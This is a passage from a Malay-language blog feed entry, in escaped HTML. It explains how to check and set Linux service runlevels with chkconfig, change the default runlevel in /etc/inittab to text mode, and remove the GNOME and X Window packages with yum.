/&gt;&lt;br /&gt;Caranya :&lt;br /&gt;1) Semak semua runlevel untuk setiap services&lt;br /&gt;&lt;br /&gt;chkconfig --list&lt;br /&gt;&lt;br /&gt;2) Jika ingin mulakan runlevel untuk sesetengah service kepada yang ingin digunakan&lt;br /&gt;&lt;br /&gt;chkconfig --levels 345 httpd on&lt;br /&gt;service httpd start&lt;br /&gt;&lt;br /&gt;3) Tukar setup start runlevel kepada yang diingini&lt;br /&gt;&lt;br /&gt;nano /etc/inittab&lt;br /&gt;Cari ayat berikut :&lt;br /&gt;&lt;br /&gt;          id:5:initdefault:&lt;br /&gt;&lt;br /&gt;Tukar mengikut keperluan anda. Aku nak tukar dari level 5 kepada level 3 (Command Prompt). Senarai level seperti di bawah :&lt;br /&gt;&lt;div class="blockquote"&gt;&lt;blockquote class="blockquote"&gt;&lt;div class="itemizedlist"&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;&lt;tt class="command"&gt;0&lt;/tt&gt; — Halt       &lt;/p&gt;                 &lt;/li&gt;&lt;li&gt;                   &lt;p&gt;       &lt;tt class="command"&gt;1&lt;/tt&gt; — Single-user text mode       &lt;/p&gt;                 &lt;/li&gt;&lt;li&gt;                   &lt;p&gt;       &lt;tt class="command"&gt;2&lt;/tt&gt; — Not used (user-definable)       &lt;/p&gt;                 &lt;/li&gt;&lt;li&gt;                   &lt;p&gt;       &lt;tt class="command"&gt;3&lt;/tt&gt; — Full multi-user text mode       &lt;/p&gt;                 &lt;/li&gt;&lt;li&gt;                   &lt;p&gt;       &lt;tt class="command"&gt;4&lt;/tt&gt; — Not used (user-definable)       &lt;/p&gt;                 &lt;/li&gt;&lt;li&gt;                   &lt;p&gt;       &lt;tt class="command"&gt;5&lt;/tt&gt; — Full multi-user graphical mode (with an X-based login screen)       &lt;/p&gt;                 &lt;/li&gt;&lt;li&gt;                   &lt;p&gt;       &lt;tt class="command"&gt;6&lt;/tt&gt; — Reboot       &lt;/p&gt;                 &lt;/li&gt;&lt;/ul&gt;             &lt;/div&gt;           &lt;/blockquote&gt;         &lt;/div&gt;4) Save dan restart server untuk lihat perubahan&lt;br /&gt;&lt;br /&gt;Manakala aku nak buang penggunaan start x tersebut maka aku perlu buang theme gnome dan x windows untuk tujuan tersebut.&lt;br /&gt;&lt;br /&gt;Caranya :&lt;br /&gt;&lt;br /&gt;yum groupremove "GNOME Desktop Environment"&lt;br /&gt;&lt;br /&gt;dan seterusnya&lt;br /&gt;&lt;br /&gt;yum groupremove "X Window System"&lt;br /&gt;&lt;br /&gt;Moga anda juga berjaya....&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;~ Be a Creator Not a User ~&lt;br /&gt;http://muzzotechspot.blogspot.com&lt;br /&gt;http://muzzoshah.blogspot.com&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/907989761847606873-6654795918640382314?l=muzzotechspot.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://muzzotechspot.blogspot.co
